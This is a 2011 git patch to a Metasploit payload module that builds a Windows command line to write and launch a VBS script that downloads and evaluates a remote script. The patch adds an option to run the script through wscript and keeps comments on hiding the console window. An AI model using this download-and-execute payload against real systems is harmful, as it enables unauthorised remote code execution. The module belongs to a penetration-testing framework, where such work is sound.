From 7122ccbbd1164c4cdd2086bd3cb68ea8abeb435d Mon Sep 17 00:00:00 2001 From: Matt Weeks Date: Thu, 14 Jul 2011 02:35:33 +0000 Subject: [PATCH] wscript necessary in certain contexts. Also can avoid warnings in certain cases. git-svn-id: file:///home/svn/framework3/trunk@13166 4d416f70-5f16-0410-b530-b9f4589650da --- modules/payloads/singles/cmd/windows/download_eval_vbs.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index bfa802f9b4..85e8a59c93 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -40,6 +40,7 @@ module Metasploit3 [ OptString.new('URL', [ true, "The pre-encoded URL to the script" ]), OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]), + OptBool.new('INCLUDEWSCRIPT', [ true, "Include the wscript command", false ]), OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ]) ], self.class) end @@ -64,7 +65,9 @@ module Metasploit3 # "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window # disappears quickly before the wscript libraries load and the file downloads command << " >#{vbsname}.vbs"+ - "&start #{vbsname}.vbs" + "&start " + command << "wscript " if datastore['INCLUDEWSCRIPT'] + command << "#{vbsname}.vbs" end end